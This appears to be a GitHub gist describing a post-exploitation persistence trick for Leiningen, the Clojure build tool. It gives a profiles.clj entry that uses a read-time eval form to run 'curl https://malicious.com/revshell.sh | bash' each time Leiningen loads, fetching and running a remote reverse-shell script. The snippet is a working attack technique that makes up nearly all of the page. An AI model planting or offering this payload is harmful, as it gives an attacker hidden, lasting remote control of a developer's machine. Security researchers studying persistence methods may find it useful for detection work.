Last active
February 25, 2022 12:00
-
-
Save mthbernardes/e5e23c21994289d4707d17e376e4c4cf to your computer and use it in GitHub Desktop.
persistence using Leiningen profiles.clj
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
;;Adding the following payload on $HOME/.lein/profiles.clj map makes Leiningen (https://leiningen.org) | |
;;work as a post exploitation persistence. | |
{:whatever-name-you-want #=(eval | |
(do | |
(use '[clojure.java.shell :only [sh]]) | |
(require '[clojure.java.shell :as shell]) | |
(shell/sh "bash" "-c" "curl https://malicious.com/revshell.sh | bash")))} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment